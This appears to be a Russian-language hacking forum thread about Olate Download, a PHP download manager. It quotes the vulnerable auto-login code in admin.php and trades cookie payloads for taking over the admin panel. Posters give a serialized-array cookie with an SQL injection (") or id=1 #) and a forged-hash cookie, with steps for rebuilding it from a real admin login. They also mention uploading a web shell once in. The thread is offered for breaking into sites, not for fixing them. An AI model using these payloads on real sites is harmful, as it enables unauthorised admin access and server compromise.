Оф сайт: http://www.olate.co.uk/od3 SQL-injection в admin.php PHP: if (isset($input['OD3_AutoLogin'])) { $parts = explode('::', plain_decrypt($input['OD3_AutoLogin'])); $hash = $parts[0]; $data = $parts[1]; $data = unserialize(stripslashes($data)); //print_r($data); //exit; // Give them nice names $user_id = $data[0]; $username = $data[1]; $group_id = $data[2]; // Check the user exists $result = $dbim->query('SELECT id FROM '.DB_PREFIX.'users WHERE (id = "'.$user_id.'") AND (username = "'.$username.'") AND (group_id="'.$group_id.'")'); if ((md5($user_id.$username.$group_id) == $hash) && $dbim->num_rows($result) == 1) { $uam->user_login($user_id, $username, $group_id); } В следствии чего имеем: получение прав администратора: Имея права администратора, можно загрузить на сервер веб шелл. для тех кто в танке: _http://www.securityfocus.com/bid/25343/info _http://myimei.com/security/2007-08-16/olate-download-341adminphpauthentication-bypassing.html Не имеют никакого отношения к этой уязвимости
Я наверное и правда в танке, тогда помогите мне вылезти Мне неясно зачем вызывать ошибку в базе, если авторизация идёт по логину,user_id и group_id которые извесны? Вот сплоит с securityfocus: 17225df9b911486c1ccae0378094c33a::a:3:{i:0;i:2;i:1;s:4:\"imei\";i:2;i:2;}(У них тут ошибка имхо т.к user_id админа =1,(хеш сгенерирован именно 1imei2) ,но суть не в этом), далее: imei меняем на реальный логин,хешируем строку 1ЛОГИН2 где: 1-user_id, ЛОГИН-реальный логин админа 2-group_id скармливаем её скрипту в куках и мы в админке. Эту ошибку уже нашли год назад вот что предлагает ТС: de355f588b05f229aa1162cc9a3d16b5::a:3:{i:0;s:1:"1";i:1;s:15:"xek\") or id=1 #";i:2;s:1:"2";} Может я неверно понял работу сплоита или скрипта?Обьясните пожалуйста зачем базе передавать х.з что? А то я так и останусь в танке
то что нашли год назад, это работает на новых версиях??? ты проверял, ее работоспособность??? приведи пример конкретного сайта где это работает... мне сейчас впадлу снова копать код и проверять то что ты написал. Если не работает, то ты даже не танкист а ЛОШАРА, а если работает МОЛОДЕЦ.
Прежде чем запостить что-то, я думаю,следовательно: Причём сдесь год назад? Ты пишешь о версии 3.4.2 - 3 , я смотрел версию 3.4.3 это помоему как раз последняя.Я не проверял на сайтах, а СМОТРЕЛ КОД.Он не отличается от твоего примера, т.е. его не меняли, и соответственно всё работает. Далее:, что год назад, что сейчас, зачем в запрос к базе вставлять скуль, если можно зайти по сформированным кукам? И ещё момент, если ты публикуешь что-то, что значит: Ты такой мега крутой , что твои слова не требуют подтверждения?Мне вот не впадлу было посмотреть код, прежде чем возразить тебе И если уж на то пошло, твой пример будет работать до тех пор пока не изменят условие проверки , но до этих самых пор будет работать и найденая год назад бага
да согласен. но мой вариант, более эффективен) ничего не нужно искать, хешировать и т.д. логин админа может быть любым. Подставил в запрос получил админа... ))) этож гуд) PS хотя securityfocus.com пишут что Not Vulnerable: Olate Download 3.4.2 ... на заборе видимо тоже пишут.